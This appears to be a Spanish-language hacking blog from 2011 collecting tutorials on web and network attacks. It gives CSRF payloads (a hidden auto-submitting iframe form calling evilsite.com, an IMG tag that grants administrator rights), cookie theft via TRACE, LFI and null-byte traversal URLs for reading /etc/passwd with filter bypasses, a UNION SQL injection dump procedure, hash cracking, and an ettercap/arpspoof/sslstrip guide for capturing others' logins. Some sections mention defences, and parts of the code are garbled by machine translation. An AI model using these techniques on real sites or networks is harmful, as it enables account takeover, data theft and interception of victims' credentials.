viernes, 25 de noviembre de 2011

ULTIMAS NOTICIAS....

ULTIMAS NOTICIAS



TUTORIAL ACTUALIZADO SOBRE COMO CRACKEAR CONTRASEÑAS WPA/WPA2 DE JAZZTEL_XX  y  WLAN_XX






El nuevo tutorial explica como usar CalcWLAN-ng.sh un programa para linux en shell script bastante bueno y con un lenguaje un tanto peculiar, una imagen vale más que 1000 palabras:








--------------------

Ademas incluye un vídeo-tutorial

sábado, 15 de octubre de 2011

Cross Site Request Forgery

Cross Site Request Forgery

Descripción

Los ataques CSRF pueden permitir a un atacante secuestrar una cuenta de la víctima  Una adecuada explotación CSRF puede cerrar la sesión de un usuario transferencia de dinero, cambiar una contraseña, modificar la información, hacer postes, cambio de estado de usuario, todo lo cual se lleva a cabo dentro de la cuenta de la víctima.
No es un ataque relativamente fácil de realizar, pero puede ser muy difícil de detectar el ataque en sí. Esto se debe al hecho de que los ataques parecen ser realizados por un usuario legítimo.

Gravedad

Moderado

verosimilitud Exploit

Muy Alta

 Como Hacer/Information

Hay una serie de técnicas que se pueden utilizar para realizar un ataque CSRF. Las formas más comunes de ataque son los siguientes: XSS , etiquetas IMG y la ingeniería social.
Por ingeniería social puede ser más difícil de lograr ya que es esencial ganar la confianza de las víctimas, y crear una página aparte para explotar la vulnerabilidad.

El método de XSS

Este método se basa en la ejecución de JavaScript, y ejecutar una consulta en el usuario víctima.
El siguiente trabajo es posible si la página de administración utiliza $ _GET () o $ _REQUEST (), de entrada:

Se oculta el iframe, por lo que el administrador no sospecha nada cuando la página mágicamente redirige a la página admin.php.


El siguiente ejemplo es si la página de administración utiliza $ _POST (), de entrada:
1 - Crear una página web alojada en alguna parte del código en línea y uso similar a lo siguiente, cambiar las entradas de forma según sea necesario:
  < html >
 < cuerpo >
 < forma action = "" method = "post" id = "FormID">
         < entrada type = "hidden" name = "ataque" value = "valuegoeshere" />
 </ formulario >
 < script de > document.getElementById ('FormID) submit ();. </ script de >
 </ cuerpo >
 </ html >
2 - Insertar la página dentro de un iframe en la página de XSS vulnerable de la siguiente manera:
  < iframe src = "http://www.evilsite.com/csrfrider.php" height = '0 'width = '0' style = 'border: 0; "/>
Esto enviara el formulario automáticamente a la página de administración
Ya que está escondido en el iframe, que requiere poca o ninguna ingeniería social.

IMG inyección

Como incrustar el exploit CSRF dentro de un iframe como se indica en el método de XSS, etiquetas <img /> También puede ser utilizado para ocultar un ataque CSRF. El más común de estos ataques se utilizan en sistemas de tablones. Avatares y [img] a menudo ofrecen poco o ningún control, y son a menudo un punto caliente para los puntos de ataque CSRF.
Incorporación de los ataques CSRF en [img] tienen el siguiente aspecto en el código HTML:
  < img src = "http://www.example.com/admin.php?edituser=1337&addgroup=administrator" />
Cuando la página es visitada por un usuario autorizado (el administrador), los ataques maliciosos se llevarán a cabo, y el administrador no tendrá ninguna indicación inmediata de que ha habido un ataque.
Por supuesto, si no hay fallos de XSS que se encuentren en el sitio, y no funciona la técnica de IMG, la ingeniería social siempre puede llevarse a cabo. Para ello será necesario ponerse en contacto con un administrador y para que hagan clic en un enlace que les llevará por un script malicioso. Esto podría ser simplemente ocultar la URL $ _GET con tinyurl, o que el administrador tenga acceso a su script de post malicioso. Esto es un poco más arriesgado, ya que a menudo es más rastreable que las técnicas anteriores.

Protección

Mientras que con el método POST para todas las formas le ayudará a protegerse contra los ataques CSRF, no es en absoluto prueba de balas. La forma recomendada para proteger contra los ataques CSRF es el uso de fichas únicas de las formas. Un símbolo es usado dentro de un elemento oculto en una forma de demostrar que la solicitud no se está forjando. Cada token es único para el usuario, y se almacena en la sesión del usuario. Para configurar las fichas, se puede usar el siguiente código:
  session_start ();
 if (! isset ($ _SESSION ['token']))
 {
         $ Token = md5 ( rand ());
         $ Token = str_split ($ token, 10);
         $ _SESSION ['Token'] = $ token [0];
 }
Lo anterior va a crear el símbolo y lo almacenan en la sesión del usuario. Un valor oculto que se encuentra en el formulario de entrada de la siguiente manera:
  < entrada type = 'oculto' name = 'token' valor ='<?=$_ SESIÓN ['token']?> "/>
La tercera parte del cheque simbólico es agregar la validación de la siguiente manera:
  if ($ _POST ['token'] == $ _SESSION ['token'])
 {
         / * Token es válida, continúe * /
 }
HASTA PRONTO!!

viernes, 14 de octubre de 2011

Cross Site Tracing

Cross Site Tracing

# Introduccion a HTTP.

A esta altura, y si estas leyendo esto creo suponer que tus conocimientos en lo que respecta a HTTP son 'intermedios' sabes como se maneja y funciona una web, y nociones sobre XSS -cross site scripting- (tengo un pequeño paper de introduccion a xss y derivados en http://confused.vndv.com/?p=32) sino es asi, bueno, hare una breve introduccion pero te recomiendo que leas un manual dedicado a estos temas especificos ya que no es el fin de este paper.

Para empezar HTTP significa Hyper-Text Transfer Protocol.Este -protocolo de transferencia de hipertexto- es el protocolo comunmente usado para todo tipo de transferencias o transacciones Webs.

Este protocolo se basa en un esquema denominado 'peticion-respuesta', es quien se encarga de mantener a los clientes conectados a los servidores, transferir datos entre ambos, como tambien las conexiones proxy.

Algo basico que hay que saber es que a un navegante como podriamos ser nosotros, cuando se conecta a una web como la de Google, se lo conoce al cliente como User-Agent. Aclaro esto porque es un vocablo muy utilizado en la jerga de programacion, y de hacking. A la informacion que se transmite entre servers y clientes, se lo conoce como RECURSOS y es identificada mediante un tipo de URI como el localizador URL. (para mas informacion wikipedia.org).
Una URL esta formado por 4 factores comunes, un protocolo, un nombre de la web/host/ip, un directorio y archivos.

# METODOS HTTP.

HTTP permite entre otras cosas, realizar diferentes metodos y acciones en un Servidor. Con el objetivo de brindar soporte a todas las personas que implementan esta tecnologia y testean aplicaciones HTTP.

Cuando una computadora "X" intenta ingresar a Google.com por ejemplo, realiza una peticion para poder visualizar la informacion remota, mediante un metodo y varios mas que se pueden acoplar para interactuar con la informacion. Veamos los distintos Metodos:

GET ------->  De los mas utilizados.
POST ------->  De los mas utilizados.
HEAD
TRACE
PUT
DELETE
CONNECT
OPTIONS


Como podemos ver disponemos, de bastantes metodos para interactuar con la informacion. Pero los mas comunes son GET y POST.
Estos dos metodos nos permiten acceder a la informacion que nos expone un servidor web mediante el ya explicado HTTP.

# GET => El metodo get se utiliza para introducir parametros de una solicitud HTTP mediante un navegador a un servidor web. Este metodo coloca parametros en la url generalmente separados por un "&", por ejemplo veamos el siguiente ejemplo una busqueda a Google sobre mi web:

http://www.google.com.ar/search?hl=es&q=confused.vndv.com&btnG=Buscar&meta=

Vemos como enfatice las "&".

# POST => El metodo post permite enviar datos de una forma diferente al metodo GET. Su envio es mas 'oculto' por asi decirlo ya que no figura en la URL de la barra de direcciones del navegador a simple vista de todos. Sino que lo hace mediante el CUERPO.

# METODOS QUE IMPLICAN RIESGO PARA LA SEGURIDAD


En esta seccion del paper, voy a nombrar los metodos mas importantes a mi modo de ver dps de describir GET y POST, que pueden llegar a permitir un riesgo en nuestro servidor. Veamos...

# PUT => Este metodo es el que permite el uploading de archivos a un servidor web.
Un atacante podria explotar este metodo realizando uploads de troyanos, o archivos de tipo malware. Generalmente esos son la finalidad del ataque.

# CONNECT => Este metodo generalmente es usado para realizar conexiones, por ejemplo una como SSL entre un cliente y un site https.
Un atacante podria usar un site como proxy.

# DELETE => Este metodo permite ELIMINAR archivos en el servidor web. Un atacante podria realizar desde la eliminacion de archivos vitales, como del site web o index.

# TRACE => Este metodo realiza la depuracion de las entradas de los Usuarios.
Y no hace mas que otra cosa que devolver cualquier cadena que es enviada al servidor web.

<----- Bien creo yo que estos son los mas 'peligrosos' y deberiamos dependiendo de nuestra posicion y labor de la web, deshabilitarlos.Claro que si realmente necesitamos utilizarlos, tendriamos que elaborar un tipo de contencion ante un mal uso, configurarlo bien y asegurarlos a usuarios permisivos. ---->

# PRUEBA DE METODOS

Ok, lo primero es intentar chequear que tipo de metodos son aceptados en alguna web, por respeto hacia terceros voy a omitir la 'web' con un 'www.objetivo.com' en su reemplazo.
# Requisitos -> Telnet / Netcat.

$> Probando que metodos tiene disponible un site mediante OPTIONS / HTTP/1.0

confused@opk:~$ nc
www.objetivo.com 80
OPTIONS / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 20 Jul 2009 18:35:35 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.9
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Connection: close
Content-Type: text/html


Como vemos acepta los siguientes metodos -> get, head, post, options, trace.
Como este paper se refiere a metodos http y a cross site tracing, vamos a basarnos en el metodo TRACE.
# Localizando posibles XST potenciales

El metodo TRACE, puede ser una navaja de doble filo. Comunmente esta tecnica es usada para el fin de reemplazar o robar credenciales a un sistema meidante (cookies) Veamos..

$> Verificando que el TRACE es permitido en el objetivo.

confused@opk:~$ nc www.objetivo.com 80
TRACE / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 20 Jul 2009 18:58:39 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.9
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0


Bien la respuesta es "OK!" esto significa que la presencia del TRACE es correcta, que previamente nos habia indicado OPTIONS pero por las dudas quisimos asegurarnos.

# ELABORANDO UNA IDEA DE ATAQUE

Bien vamos a analizar esto, supongamos que siempre nos loguiamos a un foro, donde tenemos nuestra cookies habilitadas.
Ahora imaginemos que si enviamos una peticion TRACE via nuestro querido navegador y dicho navegador logicamente tiene esa cookie a ese portal de internet o foro. Bueno pues la cookie seria incrustada en las cabeceras de la peticion hecha por nosotros y seran por lo tanto devueltas por la respuesta del TRACE, donde para finalizar podremos acceder a ella mediante javascript y enviarla a donde queramos, como una web que trabaje de receptora de cookies, previamente montada.

Aunque hay un problema debido a que el navegador solamente puede iniciar una conexion a un objetivo donde se encuentre el script malicioso.

<---- Para que un navegador realize una peticion TRACE tenemos que tener algunos conocimientos sobre objetos de control de ActiveX.
Como este paper no trata de aprender eso y se supone que tienen nociones basicas almenos, seguiremos ---->
<---- En Mozilla Firefox, tenemos el control XMLDOM y en IE tenemos el XHR. Son interfaces creadas para realizar peticiones HTTP y HTTPS a servidores webs ---->


Volviendo con el problema que teniamos, lo mas comun es que los hackers logren inyectar codigo javascript en alguna parte de la web victima, como si hariamos un XSS, el script estará programado con la peticion TRACE. Claro que para esto tambien tendriamos que disponer que la web esa sea vulnerable a XSS verdad?.

Otra forma un poco mas sofisticada seria la de CREAR UNA WEB, donde el que nos visita, 'la victima' ingrese y mediante algun tipo de explotacion a nivel navegador para que se realice una conexion al sitio con la peticion TRACE y nos revele la cookie que intentamos robar.


\\nota

copy paste de: http://foro.el-hacker.com/f55/intro-cross-site-tracing-metodos-http-144807/

cuando no puedes superar lo perfecto, mejor no intentar mejorarlo  y dejarlo como está xD.

agradecimientos a: confusedmind

miércoles, 5 de octubre de 2011

Poison Null Byte


Poison Null Byte



El ataque conocido como Poison Null Byte fue nombrado originalmente por Olaf Kirch
La inyeccion consiste en la incorporación de Bytes NULOS / caracteres en las aplicaciones que no manejan adecuadamente postfix terminadores NULL, un atacante puede explotar un sistema que utiliza técnicas como la Load File Inclusion.

Gravedad

Relativamente alta

Explotación

Hay un número de maneras de utilizar el Poison Null Byte, incluyendo las siguientes:
- La terminación de un nombre de archivo dentro de una cadena, por ejemplo, una extensión de archivo.
- Terminación o comentar una sentencia SQL dinámicamente cuando se ejecuta, como por ejemplo Oracle "EXECUTE IMMEDIATE".

 

PHP Poison Null Byte

Un ejemplo de un script PHP vulnerable a este ataque es el siguiente:
  $ File = $ _GET ['archivo'];
 require_once ("/ var / www / php $ archivo."); 
". Php", mientras que en el script de arriba parece estar garantizado conyra ataques de LFI por obligar a indicar la extensión del archivo, que puede ser explotada de la siguiente manera:
http://www.imationgroup.com/index.php?file=../../etc/passwd + simbolo de porcentaje + 00

\\nota
No sé porque no me lo deja poner todo junto 
--- 
La inyección byte NULL arriba daría lugar a la extensión del archivo adjunto obligatorio (. Php) que se cayó, y el / etc / passwd a cargar.

Solucion:

Hay un número de maneras de prevenir el envenenamiento inyecciones de byte nulo en PHP. Estos incluyen escapar el byte NULL con una barra invertida, sin embargo, la forma más recomendable de hacerlo es eliminar por completo el byte mediante el uso de código similar a lo siguiente:
  $ File = str_replace ( chr (0),'', $ cadena);
 

viernes, 22 de julio de 2011

Local File Inclusion


                                                   Local File Inclusion 

Inclusión de archivos locales (también conocido como LFI) es el proceso de inclusión de archivos en un servidor a través
del navegador web.
Esta vulnerabilidad se produce cuando en una página no se incluyen apropiadamente la deteccion de errores, y acepta
los caracteres del directorio transversal a inyectar. 
Un ejemplo típico de un script PHP vulnerable a LFI es el siguiente: 

  <? Php                                             
    $ File = $ _GET ['file'];          
    if (isset ($ file))                       
    {                                                    
        include ("pages/$file");
    }                                                    
    else                                                
    {                                                    
        include ("index.php");               
    }                                                    
 >                                                    
La solicitud legítima hizo con el guión podría ser la siguiente: (URL posiblemente vulnerable)
  http://imationgroup.com/index.php?file=contactus.php

Pero si realmente es vulnerable se pordra salir de los directorios donde esta alojada la pagina y moverte por el sistema
operativo de esta forma:
  http://imationgroup.com/index.php?file=../../../../etc/passwd

Esto muestra los hashes de las contraseñas en MD5 en el servidor, que más tarde podría ser roto y se utiliza para obtener
acceso a archivos. (mirar tema de Cracker)
 

Crear un filtro  
La mayoría de los administradores de buena voluntad se han protegido contra los ataques de LFI de la forma más simple,
por lo que debe actualizar el script de esta forma. 

  <? Php                                                                
    $ File = str_replace ('../','', $ _GET ['file']);
    if (isset ($ archivo))                                           
    {                                                                       
        include ("pages/$file");                   
    }                                                                      
    else                                                                  
    {                                                                      
        include ("index.php");                                 
    }                                                                      
   >  
Ahora, nuestro sencillo ataque LFI ya no funcionará. Obviamente, no queremos ser disuadidos por esto, así que tenemos
que encontrar una manera para acceder a nuestro directorio transversal de trabajo, 
(se puede evadir los filtros).
Una forma de hacer esto es  codificar uno o más caracteres en hexadecimal.
Esto funciona porque el navegador decodifica la entrada, pero PHP no lo hace.
Nuestro nuevo LFI sería la siguiente: 

  http://example.com/index.php?file =..% 2F% 2F .. .. ..% 2F%% 2Fetc 2Fpasswd

Por lotanto el administrador de la pagina debe aplicar mas filtros.
 
 
Notas adicionales 
Los ataques de LFI se combinan a menudo con  Poison Null Bytes Attacks (ya lo posteare) , lo que les ayuda a pasar por
alto otras protecciones que se pueden poner en su lugar.

Informacion sacada de:
http://hakipedia.com/index.php/Local_File_Inclusion

Nota:
Casi identico porque es dificil esplicarlo mejor.
 --------------
Ejemplo practico
--------------
Escojemos una pagina con la terminacion de la url en: download.php?file=
Seleccionamos cualquier enlace para provar suerte....
Si todo va bien, deveria sarir algo asi:
bien, ahora se trata de probar con archivos que posiblemente existan como 'login.php, admin.php, registrer.php, index.php... todo lo que se os ocurra.
esto indica que no tiene filtro del directorio hacia delalante, me explico:
en la url, sabemos que se puede acceder a archivos del mismo directorio, aun no se puede saber si tiene alguno hacia atras...
si lo tubiera, no se podria acceder a ww.____.com.br/download.php?file=../../../../../../../../etc/passwd
pero eso mas tarde...
Ahora toca inspeccionar los archivos descargados:

lo que se suele hacer, es descargarse todo lo que se pueda y luego inspeccionar....
 Aqui se puede observer perfectamente en la ruta, que es de un sistema Linux y el nombre de usuario
esto puede servir , entre otros, de ayuda a la hora de ejecutar codigo arbitrario (SQL) en la maquina remota
así como buscar exploits, ect....
Curioseando en la pagina.. me he encontrado con la url de la imagen.
que, parte de ella esta en hexadecimal, esto quiere decir que tampoco existe nngun tipo de filtro para caracteres hexadecimales...

esto viene bien saberlo, porque si queremos ir hacia atras en los directorios y no deja y/o muestra mensaje de error, se puede provar a difrar la url en hexadecimal o otros lenguajes

puede que esto no funcione:
ww.____.com.br/download.php?file=../../../../../../../../etc/passwd
 pero tal vez esto si:
ww.____.com.br/download.php?file=%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd
o esta:
ww.____.com.br/download.php?file=%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E/etc/passwd

o todas esas pero con Poison Null Bite
todo es ir provando...

hasta pronto!

martes, 19 de julio de 2011

Full path disclosure


Full Path disclosure

Al castellano se traduce como: divulgación de ruta completa

Es una vulnerabiidad muy habitual en las aplicaciones Web, consiste en encontrar un Script vulnerable, el cual te devuelba un error donde revele la ruta completa del recurso al que se desea acceder.

La vulnerabilidad en sí, no es de mucha importancia, pero si puede ser en un segundo plano para un atacante en la red, ya que se descubre la ruta entera de un sistema y en ella esta el nombre de usuario, cullo nombre se puede usar por ejemplo en ataques de tipo injeccion SQL.

Este error se consigue usando caracteres inesperados en parametros especificos de una aplicación Web,

Esta infomacion puede llegar a ser vital en ciertos casos, sobre todo al provar un valor falso o verdadero en una injeccion SQL (Blind SQL Injeccion) en el panel de control de una pagina web.

La aplicación web puede ser vulnerable a una FPD que se hace eco de la ubicación de una base de datos de archivos planos, lo que puede incluir la información administrativa, como contraseñas panel de administración, direcciones de correo electrónico, o contraseñas de usuario.

Esta vulneravilidad podria ser arreglada si los scrips contaran con un sistema de correccion de errores en el lenguaje de programación.

No solo consiste en el error de printear el nombre de usuario, en algunos casos la aplicación puede dar una ruta aunque no llege al nivel del usuario.

Ejemplo de error FPD:
htmlentities() expects parameter 1 to be string, array given in /var/www/aplicacaion.php on line 14

Inyección sesión ilegal

es posible a través del cambio del valor de la cookie de sesión a un carácter no válido, o no permitido.
Hay muchos tipos de injeccion que se traducirá en el input de la aplicación, pero la más común, es usar caracteres nulos.
Para inyectar una cookie PHPSESSID, la inyección JavaScript a través de la barra de URL:

javascript: void (document. cookie = "PHPSESSID =");


PREVENCIÓN

Desactivar la pantalla de mensajes de error (esto se hace en los siguientes archivos)
*.php.ini: display_errors = 'off'
Apache, httpd.conf: php_flag display_errors off
En el script directamente: ini_set('display_errors', false);
Conclusión

Es un error comun pero es muy raro que sea un factor importante a la hora de llevar un ataque con éxito o fallido, pero si puedellegar a serlo, normalmente se usa para reunir informacion sobre un sitio y usarlo como si fuese una especie de comodin para deducir otras cosas.

Es muy facil de prevenir y es un riesgo innecesario que suelen correr muchas aplicaciones


Este es un claro ejemplo de Full Pach Disclosure

La url original era:
http://www.___________.net/index.php?file=search.php

pero al probar si tenia la vulnerabilidad LFI:
http://www.___________.net/index.php?file=./index.php

me salio un Full Pach Disclosure!!
Wireshok

miércoles, 13 de julio de 2011

Tutorial w3af objetivo (experimentando...)

Bueno primero de todo, lo de siempre, no usar este tutorial para hacer el mal, nosotros no nos responsabilizamos de ello,bla,bla,bla...

Ahora sike!



W3af es (a mi parecer) de los mejores escanner se vulnerabilidades que me he topado por la red, me entere explorando las increíbles herramientas que nos ofrece nuestro amigo  Backtrack 5.

Lo tenemos para LINUX o Windows

Windows:
http://sourceforge.net/projects/w3af/files/w3af/w3af%201.0-stable/w3af_1.0_stable_setup.exe/download

LINUX: (poner en terminal)
svn co https://w3af.svn.sourceforge.net/svnroot/w3af/trunk w3af

Aunque lo mejor es que instaleis Synaptic que es un gestor de paquetes para LINUX y desde ahí podeis instalar cualquier cosa dandole a un boton, se baja los paquetes y librerias y los instala solo, el comando es el siguiente:

apt-get install synaptic.

Os pongo una imagen a modo de "preview"


- Con este superprograma podremos auditar cualquier aplicación web, detectar vulnerabilidades,descubrir información oculta, información útil a la hora de escoger un exploit... infinidad de cosas que iremos descubriendo..

recuerdo que este tutorial es para sacar conclusiones y aprender un poco,seguramente sepa lo mismo que vosotros sobre esto pero... algo hay que aportar.

EMPECEMOS

Por si alguien se pierde y no sabe donde se encuentra el w3af (como me paso a mi)
 la ruta es la siguiente:
pentest/web/w3af/w3af_gui > run in terminal

 Si no veis bien la imagen, pinchar sobre ella y se os muestra a tamaño original.

- El panel de confuguración

Es la parte mas importante del programa ya configuras lo que quieres hacer,las pestañas mas importantes para mi, es la de audity, se seleciona audity y luego se bajan las opciones y se selecciona solo las que se quieran, yo seleccione estas porque son las mas peligrosas (sql, blindsql,fileupload,LFI..)

Si el programa detecta tales fallos de seguridad te lo dira y en el peor de los casos podras sacar informacion que se necesite algún tipo de autorización, y en el peor, se podrá subir una "remote reverse shell" que ya veremos lo que es pero, consiste en:

tener el control total o casi, del sevidor en el que está la pagina, permitiéndote copiar todo lo que tienen (usuarios contraseñas,facturas..) y borrar toda la pagina,o defeisearla.

en los proximos tutoriales les voy a mostrar los distintos tipos de vulneravilidades, y que se pueden hacer con ellas.

No creo que haga falta comentar mas sobre este programa, tenemos un log donde muestra los plugins que esta provando y lo mas importante, los resultados, es haí donde hare mas incapie.

Lo mejor es provar a escanear paginas web y observar los resultados para irse familiarizando con el programa.

martes, 1 de marzo de 2011

Man In The Middle ll (Ettercap, Arpspoof y Sslstrip)

----------------------------------------INTRO----------------------------------------------
Bueno...
después de mucho divagar en el asunto.. de analizar los pros y los contras...
he decidido publicar un post sobre como obtener claves de casi todo tipo (gmail,paypal,facebook,tuenti...) en fin, el sueño de todo Lammer que esta por hay suelto.

No me gusta nada la idea de que alguien va a leer este articulo y emplear los conocimientos con fines lucrativos maléficos y poco didácticos.

Tratare de emplear menos manual y mas material para investigar, me parece una buena forma de filtrar a indeseables, así se tendrán que buscar la vida un poco mas y al final se cansaran de aprender y se pondrán a bajarse virus y Lameradas de todo tipo....

(lo siento por los blancos)
 ---------------------------------------------------------------------------------------------------------- 
Hasta ahora solo voy a poner un enlace muy bueno sobre vídeos de backtrack.

Mirar los de la pestaña privilege escalation


http://www.backtrack.it/documentazione/pillole-in-video.html

y algo sobre sslstrip

http://mundopc.net/el-ssl-no-esta-roto-o-si/#more-4270

Pondré más sobre el tema, al final acabare haciendo un "tuto" pero de momento.. A KURAR.

 SSLSTRIP
es capaz de convertir el protocolo HTTPS a HTTP esto significa que la información estará en texto plano,es decir, sin ningún tipo de cifrado.


También es capaz de hacer otras cosas como:

-Tiene un certificado valido para los navegadores de Internet, esto hace que no salga ningún tipo de alerta como pasaba con el Cain & Abel


-También esta programado de tal forma que en la barra de direcciones del navegador aparezca como pagina segura (HTTPS://...)


- y para acabar el engaño, también tiene un candidato y barras doradas


Esto hace de una super herramienta a la hora de ejecutar un "Man In The Middle"
ya que la víctima infectada no se va a dar cuenta absolutamente de nada y para saber si esta afectada tendría que saber mirar la tabla ARP del  router;
y sin sospechar nada antes... es muy complicado que la valla a mirar.

-ARPSPOOF
es una herramienta para cambiar la tabla ARP del router y redireccionar el trafico a donde se quiera, es sencilla de usar y practica.

-ETTERCAP
Para mi es el mejor sniffer de todos, trabaja muy bien y contiene muchas opciones de configuración, intuitivo y eficaz, con muchos plugins que permiten entre otras cosas, spoofear DNS, ARP, también detecta tarjetas en modo promiscuo y la actividad de otro ettercap en la red. (parezco de la teletienda...)

IPTABLES
Es un firewall de Linux que se encuentra en el Kernel, este firewall es configurable 100% pero también es complicado, por eso lo que se suele hacer es bajarte las reglas de internet, para no complicarse la vida. claro que si esa persona hace mal las reglas... (pasa lo que pasa) puertos abiertos, no se modifican los filtros...


Básicamente el proceso de los vídeos es este:

-SNIFANDO HTTPS...

primero se modifica el fichero de conflagración del ettercap para ver las opciones.
-nano /etc/etter.conf (se borran las #) en las opciones de iptables e ipchains


Creo que se borran las barras cruzadas  para habilitar las opciones
- Se guarda pulsando F2 y luego se sobreescribe el archivo con el mismo nombre.

Ahora se inicia ettercap-GTK (que es el modo con interfaz gráfica de ettercap)
clikamos en la pestaña (sniff  > unified sniffing) y se selecciona la interfaz que se esta usando para conectarse ala red.




lo siguiente es scanear los host conectados a la red, para ello se pincha en la pestaña (host  > escan for host)

 por defecto nos escanea 255 host posibles, porque es el numero máximo de IP'S que se pueden conectar a un router con una IP de clase "A" en la red 255.255.255.0 (si no se entiende, documentaros...) pero bueno.. las redes normales de toda la vida, tipo (192.168.x.x) solo estan divididas en una red con solo 255 host posibles que se pueden conectar.
por eso solo escanea 255 host (cada host tiene una ip asignada)

Cuando acabe de escanear se selecciona la pestaña "Host > Host List" y aparecerá algo así..




Fijense que nos dice cuantos host se detectaron incluso antes de mostrar la lista de host.

Llego el momento de asignar un host a una tarjeta, esto es una conflagración para hacer un "Man In The Middle" correctamente.
El PC de pruebas "también llamado VÍCTIMA" se le asigna a la tarjeta 1 y el AP (Acces Point) o router se le asigna a la terjeta 2.
Esto es asi para saber entre quien te pones en mendio de la tarjeta 1 y la 2 (si el dato viaja desde el la Víctima al router) tu serias la tarjeta nº 1'5.

Petición de servicio: 1(Victima) > 1,5(sniffer) > 2(AP) > 3(servidor)

Respuesta de servicio: 3(servidor) > 2(AP)  > 1,5(sniffer)  > 1(Víctima)

































Ahora se selecciona la pestaña MITM > Sniff Remote Connectons.
Este es un ataque de envenenamiento de la tabla ARP (explicado en el articulo Man In The Middle I, con Cain & Abel)





 El siguiente paso es seleccionar un "plugin" que son opciones muy interesantes del sniffer.
Yo me decante por la de "remote_browser" que sirve para que muestre lo que la Víctima escribe en la barra del navegador.



Ahora llegamos al punto de chequear lo que se hizo y lo que esta pasando..
Seleccionamos la pestaña Targets y nos saldrá la configuración de las tarjetas, con opciones para añadir algún host manualmente y borrarlo.





Este tutorial sera acabado en breves...

----------------------------------------------------------------------------------
perdonar mis innumerables faltas de ortografía,
lo que importa es la p--- información
---------------------------------------------------------------------------------------------------------------
wireshok

lunes, 28 de febrero de 2011

WPA/WPA2 por defecto




TUTORIAL ACTUALIZADO EN EL BLOG ESPECIFICO SOBRE WIRELESS DE IMATIOGROUP

El tutorial consta de una breve explicación y acompañado de un vídeo-tutorial echo por Wireshok espero que lo disfruten.

saludos..




















domingo, 23 de enero de 2011

Blind SQL Injection

-“Y que ej ezoh?

Una técnica de ataque a bases de datos de tipo SQL que se suelen utilizar en cualquier página web.
Se basa en un error de programación de la base de datos en la que se muestran mensajes de error al producirse resultados correctos o se muestran mensajes de error mostrando información de la base de datos que el administrador no quiere mostrar al “público”.
Es decir, que se filtra información através de mensajes de error debido a la mala programación de la base de datos.

-Procedimiento

Comprobando el fallo de seguridad...

[…php?id=’ ]   

Consultando...

[1+union+all+select+0,1,2,3,4,5,6…]  hasta que logramos encontrar el número de tablas
Y nos devuelve unos números que son las tablas donde podemos realizar la “inyección” escogemos una y ponemos “table_name” en su lugar y añadimos [from information_schema.tables- -]



[id=-1+union+all+select+0,1,2,3,table,5,6+from+information_schema.tables- -] con esta consulta nos devuelve el nombre de la primera tabla que suele ser la que está por defecto (CHARACTER_SETS) y añadiremos [limit+1,1--]  subiendo el numero del indicador de tabla para encontrar la tabla que más te guste.
Ahora buscamos la columna más “picante”  cambiando la sintaxis [table_name] por [group_concat(column_name)] y seleccionamos las columnas con [from information_schema.columns] y añadimos el nombre de la tabla en hexadecimal con el indicador “0x” (where  table_name=0xXXXXXXXXX)



Una vez encontrando los nombres de las columnas y las tablas que nos interesan, solo nos falta concatenarlo [group_concat(ejemplo,0xXXXXX,ejemplo),4,5 from ejemplo--] para que nos quede este bonito resultado.
Incluso podemos ponerlo más bonito y modificar los resultados poniendo dos puntos o cualquier otro carácter en hexadecimal para separar la información que queremos.



Como este hay muchísimos métodos de inyección “blind sql” muy bien documentados y con herramientas automatizadas como Marathon Tool, entre otras.

Páginas web de todo tipo (tiendas online,universidades,.gov…) tienen este tipo de fallo en sus bases de datos.

-Conclusión

¿ tendrán en cuenta la seguridad informática?

(Si shurmanico, ezoh lo vi yoh en matrih)

¿Esta guay mirarte cuatro blogs para páginas web en vez de pagar a un diseñador que asegure el código para ahorrarte los cuartos y comprometer tu negocio?

PD: No, no hay metadatos en las imágenes J

Victor “Hocker” C.

Fuentes: Wikipedia.org, securiteam.com
Imágenes :  made in feito na casa

sábado, 22 de enero de 2011

Crackear MD5/SH1 (2º parte)

bueno ahora nos tenemos que bajar un diccionario de esta pagina:
http://www.skullsecurity.org/wiki/index.php/Passwords#Password_dictionaries
pinchamos en el que queremos en la comuna de "compressed"


después vamos al Cain y escogemos la opción "diccionary attack"
pulsamos con el botón derecho del ratón en el primer cuadro y seleccionamos "add to list"
se pueden añadir varios diccionarios y las opciones están bastante claras en los ejemplos del Cain
y con la opción de "cryptoanalisis attack via rainbow tables", os bajáis unas rainbow tables y es lo mismo.


ahora vamos con el mdcrack:
lo descargamos de esta pagina
http://www.descargarlo.com/descargar-1025-MDcrack___Manual.html
descomprimís el archivo y metéis el (.exe) en la carpeta C:\Windows\System32 para que se pueda ejecutar desde cmd y no tener que ir desde la consola hasta el escritorio y ejecutarlo desde ahí.
El archivo ya trae un mini manual donde dice los comandos mas usados pero tenéis muchas mas opciones.


aquí está probando con 4 dígitos usando los caracteres abcdefghijklmnñopqrstuvwxyz0123456789 el comando es "mdcrack -s 21232f297a57a5a743894a0e4a801fc3 abcdefghijklmnñopqrstuvwxyz0123456789"


la "s" es para especificar los caracteres que queremos que use y luego va el hash seguido de los caracteres (puedes poner los que quieras pero no deben estar repetidos)


en 4 segundos chequeo 27.434.026 hashes posibles y la encontró con el tamaño de 5 caracteres.
es recomendable leer el manual que trae el mdcrack.
también se le puede especificar un diccionario
bye
---------------
este tutorial sera acabado y corregido en breves
Wireshok

viernes, 21 de enero de 2011

Crackear MD5/SH1 (1º parte)

Esta vez voy a hablar un poco sobre los algoritmos de encryptación MD5 y SH1 que casualmente son los mas usados para encryptar contraseñas y usuarios en servidores WEB y en Linux en general xD
seguro que os pica la curiosidad después de leer el articulo de Hocker sobre el SQL.

un texto cifrado tiene que ser importante por narices, sino no estaría cifrado claro, jeje
por eso el motivo de este articulo.

MD5 no es muy seguro pero si que puede fastidiar un poco.
